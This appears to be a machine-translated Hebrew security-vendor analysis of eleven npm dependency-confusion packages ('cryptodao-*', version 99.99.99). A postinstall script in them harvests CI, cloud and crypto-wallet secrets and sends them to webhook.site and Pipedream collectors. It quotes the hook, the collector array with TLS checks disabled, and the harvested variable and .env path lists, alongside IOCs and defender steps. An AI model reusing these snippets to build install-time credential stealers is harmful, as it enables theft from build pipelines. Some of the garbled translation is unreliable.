בלבול ב-CryptoDAO: קצירת חבילות npm CI/CD וסודות קריפטו

בלבול CryptoDAO: אחת עשרה חבילות npm, מטען אחד, קצירה CI/CD וסודות ארנקי קריפטו

TL; DR

ב-17 ביוני 2026, חשבון npm יחיד פורסם אחת עשרה חבילות שחולקות מטרה אחת ומטען אחדעשרה מהם נושאים את cryptodao- קידומת (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); האחד עשר הוא התחום @public-for-cdao/coreכל אחד מהם פורסם בגרסה 99.99.99 ושולח קוד זהה לבייט recon.js שנמשך postinstall.

השמות הם המשמעות. הם נראים כמו אבני הבניין הפנימיות של שרשרת הכלים הפרטית של פרויקט קריפטו/DAO. לאחר שפורסמו ברישום ה-npm הציבורי בגרסה גבוהה באופן מלאכותי, הם יושבים ומחכים לבנייה. pipeline שתצורתו מוגדרת לפענח את השמות הללו ומגיעה ל-npm הציבורי לפני - או במקום - הרישום הפרטי. זהו בלבול תלות, והמטען מכוון בדיוק למקום בו הוא צפוי לנחות: CI/CD רצים.

מתי postinstall שריפות, recon.js אוסף פרטי מארח, סוקר בערך ארבעים משתני סביבה של ענן, CI וארנק קריפטו, קורא כל .env קבצים שהוא יכול למצוא ומעביר את השורות הנושאות את הסוד מילה במילה, לאחר מכן מעביר את החבילה לשני אספנים - webhook.site ונקודת קצה של Pipedream - כאשר אימות אישור TLS מושבת. עותק נכתב גם תחת /tmp.

חומרה: גָבוֹהַמערכת אקולוגית מושפעת: Npmכל אחת עשרה החבילות היו זמינות בזמן כתיבת שורות אלה.

אנטומיה של התקפה

למנגנון ארבעה חלקים נעים, ואף אחד מהם אינו עדין ברגע שיודעים זאת חפש שכבה אחת מעבר לשם החבילה.

1. ניפוח גרסאות כפיתיון לפתרון. כל חבילה מצהירה על גרסה 99.99.99בלבול תלויות עובד כאשר מנהל חבילות מבקש שם פנימי, בודק גם את הרישום הציבורי ובוחר את הגרסה העדכנית ביותר בחירת ברירת המחדל של finds. npm עבור טווח תווים כלליים או תווים כלליים היא הגרסה המספקת ביותר בכל מקור מוגדר; אם גם מקור פרטי תשובה ברישום וב-npm ציבורי עבור אותו שם, מספר הגרסה הגדול יותר מנצח. A 99.99.99 עולה בדירוג של כמעט כל גרסה פנימית אמיתית שתהיה לפרויקט הגיע, כך שפתרון שאינו מוצמד למקור הפרטי מעדיף את עותק ציבורי - ובמקרה זה, עוין. המפעיל אינו צריך לדעת את מספרי הגרסה האמיתיים של המטרה; בחירת מקסימום אבסורדי מבטיחה את התיקו תמיד פורצת את דרכם.

2. טריגר לאחר התקנה. package.json מחבר את המטען למתקן מעגל החיים:

{   "scripts": { "postinstall": "node recon.js" } }

אין צורך בייבוא ​​של החבילה. רק להתקין אותה - שהיא CI pipeline עושה באופן אוטומטי - פועל recon.js.

3. חיפוש סודי רחב היקף. recon.js מרכיב מערך תוצאות בשלבים:

  • הקשר של מארח: שם מארח, פלטפורמה וגרסה, ארכיטקטורה, שם משתמש, עבודה במדריך.
  • משתני סביבה: הוא מבצע איטרציה של רשימה קבועה של כארבעים שמות ורשומות כל אלה שנקבעו. הרשימה חושפנית - היא משדכת אסימוני CI גנריים (אסימון CI_JOB_TOKEN, סיסמת_רישום_CI, GITLAB_ACCESS_TOKEN) וענן אישורים (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) עם סודות רישום ומכולה (NPM_TOKEN, סיסמת_DOCKER, סיסמת_נמל) ואשכול בטעם קריפטו מובהק:  מפתח_פרטי, זיכרון, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCערכים מוקלטים מקוצרים ל-50 התווים הראשונים.
  • .v קבצים: זה בודק רשימה של נתיבים — .v, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, ו .הֲפָקָה/.הִתפַּתְחוּת גרסאות - ולכל קובץ שקיים, זה מסנן את התוכן לשורות תואמות מפתח|סודי|אסימון|סיסמה|פרטי|זיכרון ודוחף את השורות הללו **במלואן, ללא קיצור** לתוך התוצאות.
  • הקשר בנייה-מארח: הוא מפרט את 20 הערכים הראשונים של /בונה/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, ו / tmp /.

רשימת הנתיבים ורשימת המשתנים משוקללים לכיוון רצים ב-GitLab, מה שמצביע על כך. המטען ישירות בתשתית CI המתארחת בעצמה ולא אצל מפתח מחשב נייד. קיבוץ רשימת הקציר לפי קטגוריה הופך את הקציר המיועד לפשוט:

קטגוריה משתנים / נתיבים שהושגו
CI/CD זהות ופריסה CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
ענן AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
רישום ומכולה NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
מאגרי נתונים DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
קריפטו / בלוקצ'יין PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
הודעות SLACK_TOKEN, DISCORD_TOKEN
על הדיסק .env משפחה + /home/gitlab-runner/.env, /root/.env, /app/**/.envרשימות ספריות של /builds/, /var/lib/gitlab-runner/

אשכול הקריפטו הוא החלק שמבדיל זאת מסוד CI גנרי סריקה: ביטויי התחלה של ארנק ומפתחות חתימה מופיעים רק בסביבה של פרויקט בלוקצ'יין, והם ממפים ישירות אל ה- קריפטודאו-/חוֹתֵם/חוזים מתן שמות למובילים.

4. חילוץ כפול עם אימות מושבת. המערך שנאסף הוא סידור ו-POST לשני יעדים:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

לדחותלא מורשה: שקר מכבה את בדיקות אישורי TLS עבור הודעות יוצאות קריאות. אותם נתונים מודפסים ל-stdout (כך שהם גם מגיעים ליומני משימות CI) ו- כתב לי /tmp/.npm_recon_ .jsonטעויות נבלעות בשקט, כך ש... שליחה כושלת לא משאירה עקבות בפלט ההתקנה מעבר להודעה אחת [סיור] מותקן על קו.

הערה מובילה בקובץ מתארת ​​זאת כ"בלבול תלות" "מטען סיור". קיצוץ ערכי הסביבה ל-50 תווים צורת הוכחת היתכנות. מה שמעביר אותה מעבר למשואה נוכחות בלבד הוא ה .v טיפול: קווים נושאי סוד מועברים במלואם, והיעדים שני קולטים עובדים, הנשלטים על ידי תוקף, ולא כיור שרק נחשב להיטים.

ציר זמן

תבנית הפרסום היא החתימה של דחיפה בודדת, ולא של אחת עשרה העלאות עצמאיות.

זמן (UTC, 17-06-2026) אירוע
03:24:58 cryptodao-bot@99.99.99 לאור
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — גרסה בהיקף, כ-24 דקות מאוחר יותר

עשר חבילות נשלחו בתוך חלון זמן של 29 שניות, בערך אחת כל שלוש שניות. ההיקף @public-for-cdao/core אחרי כ-24 דקות - שנייה מוסכמת מתן שמות לאותו יעד, במקרה שהפרויקט הצורך מפנה ל שרשרת כלים פנימית תחת היקף ולא כשמות גלויים.

אינדיקטורים של פשרה

סוּג אינדיקטור
אספן hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
אספן hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
התקנת וו postinstall: node recon.js
קובץ שנשמט /tmp/.npm_recon_<timestamp>.json
סמן יומן [recon] <pkg>@<ver> installed on <hostname> (stdout ביומני CI)
התנהגות rejectUnauthorized: false ב-HTTPS יוצא במהלך ההתקנה
מטען recon.js, זהה בכל אחת עשרה החבילות (בנייה משותפת אחת)
גִרְסָה 99.99.99 על כל חבילה
מארזים cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (את כל 99.99.99)
מוֹצִיא לָאוֹר aduljune / aduljune@proton.me (אימייל לא מאומת, אין מאגר מקורות מקושר)

 ייחוס והתנהגות נצפית

כל דבר בנוגע לאשכול מצביע על יד אחת. כל אחת עשרה החבילות פורסמו. על ידי חשבון ה-npm בוגר (aduljune@proton.me, כתובת לא מאומתת ללא מאגר מקורות מקושר), בתוך פרק זמן של 25 דקות, באותו הזמן 99.99.99 גִרְסָה, משלוח א recon.js שתכולתם זהה בייט אחר בייט בכל חבילה (התאמות MD5 בכל אחד עשר העותקים שחולצו). זהו מטען אחד מוטבע על רשימת שמות, לא שימוש חוזר עצמאי בקוד.

רשימת השמות מגדירה את המטרה המיועדת. קריפטודאו-* ו cdao תאר את פריסת מודול פרטי של פרויקט קריפטו/DAO, ורשימת הקציר של המטען מראות שמנחשות: לצד סודות ה-CI והענן הגנריים, זה ספציפית מושיט יד אל מפתח_פרטי, זיכרון, SEED_PHRASE, ו-Ethereum/BSC RPC ו- מפתחות ספק. ה .v נתיבי חיפוש ורשימות ספריות הם GitLab-runner ספציפי. ההשפעה הנצפית היא שכל pipeline הוטעו להתקין את אלה שמות יעבירו את אסימוני ה-CI, מפתחות הענן והקבצים שבדיסק .v סודות - וגם, בשביל פרויקט בלוקצ'יין, חומר הארנק שלו - לשני אספנים חיצוניים.

איננו טוענים למי שמפעיל את החשבון או מה הוא תכנן לעשות איתו נתונים. העובדות שעומדות בפני עצמן: השמות מכוונים לסוג מסוים של שרשרת כלים פנימית, המטען קורא ומשדר ערכים סודיים אמיתיים, וה- התשתית הייתה פעילה.

השפעה, מגמות והנחיות למגינים

בלבול תלות נשאר יעיל משום שהוא מנצל את התנהגות הרזולוטור, לא פגיעות בכל חבילה. המוביל כאן הוא טריוויאלי - אחד עשר כמעט ריקים חבילות - אבל רדיוס הפיצוץ הוא מה שזה לא יהיה pipeline מעדיף בטעות npm ציבורי לשם פנימי. רצים של CI הם המקום הגרוע ביותר שזה יקרה בו: הם מחזיקים בדיוק האסימונים ו .v קבצים שהמטען הזה קורא, והם מתקינים תלויות אינן אינטראקטיביות, כך ש- לאחר ההתקנה רץ בלי שאף אחד יסתכל.

אשכול זה מתאים גם לדפוס שאנו רואים שוב ושוב: מטענים בזמן ההתקנה שמציגים כ"מחקר" או "סיור" תוך כדי איסוף אישורים אמיתי. התווית בקובץ לא משנה את מה שהקוד עושה על ראנר. שתי אפשרויות עיצוב שומרות על הפעילות שקטה: כל פעולת רשת ומערכת קבצים עטופה ב מטפל חריגים שזורקים שגיאות, כך שליחה חסומה או קובץ חסר לא מייצר פלט אבחוני, והדבר היחיד שמודפס הוא פוסט אחד לא מזיק [סינון] … מותקן שורה שמשתלבת עם צ'אט ההתקנה הרגיל. השימוש ב אתר אינטרנט ו-Pipedream הוא גם נוחות מכוונת - שניהם בחינם, שירותי לכידת בקשות מופצים באופן מיידי, כך שהמפעיל אינו זקוק לשרתים של שלהם והיעדים נראים כמו שמות מארח רגילים של SaaS ביומני יציאה.

הכלכלה היא מה שהופכת את זה לראוי לתשומת לב של מגן למרות ש- קוד ספק הוא טריוויאלי. רישום אחד עשר שמות לא עולה כסף, המטען הוא אחד קובץ מועתק אחת עשרה פעמים, ומנהל החבילות מבצע את כל הביצוע. קובץ יחיד מוגדר בצורה שגויה pipeline כל מקום שצורך אחד מהשמות האלה משלם עבור הסכום כולו פעולה.

צעדים קונקרטיים למגינים:

  • הצמד טווחים פנימיים לרישום הפרטי שלך. הגדר npm כך ששמות פנימיים
     והיקפים נפתרים רק מול הרישום שלך (מיפויי רישום .npmrc עם סקופ,
    או פרוקסי שלעולם לא עובר ל-npm ציבורי עבור מרחבי שמות בבעלותך). שמרו את שמות הסקופים הציבוריים שלכם כדי שאף אחד אחר לא יוכל לרשום אותם.
  • Commit נעילת קבצים והתקנה באמצעות –ignore-scripts ב-CI במידת האפשר, או לבדוק את הקבוצה הקטנה של תלויות שבאמת זקוקות לסקריפטי התקנה.  recon.js לא יכול לפעול אם לאחר ההתקנה אינו מבוצע.
  • התייחסו לגרסה 99.99.99 (או גרסה אחרת גבוהה באופן אבסורדי) של שם שנראה פנימי כדגל אדום בסקירת תלות ובמעקב אחר רישום.
  • התראה על יציאה בזמן ההתקנה. A לאחר ההתקנה שפותח HTTPS יוצא חיבור - במיוחד כאשר אימות אישור מושבת - אל כדאי לחסום webhook.site, Pipedream, או שירותי לכידת בקשות דומים בקצה הרשת ולסמן אותם ביומני הבנייה.
  • חפשו את החפצים. בדוק רצים עבור /tmp/.npm_recon_*.json עבור [recon] ... מותקן על ... סמן ביומני CI אחרונים. אם נמצא, סובב כל אישור שנחשף לכך pipeline — אסימוני CI, מפתחות ענן, אסימוני רישום וכל זרעי ארנק או מפתחות פרטיים הקיימים בסביבה או בקבצי .env.

הפניות

לא היה דיווח חיצוני על אשכול זה נכון לכתיבת שורות אלה; הניתוח האמור לעיל מבוסס ישירות על תוכן החבילה שפורסם

כלי SCA לניתוח קומפוזיציה - תוכנה
תעדוף, תיקון ואבטחת סיכוני התוכנה שלך
קבל את החשבון החינמי שלך.
אין צורך בכרטיס אשראי.

אבטחו את פיתוח ואספקת התוכנה שלכם

עם חבילת המוצרים Xygeni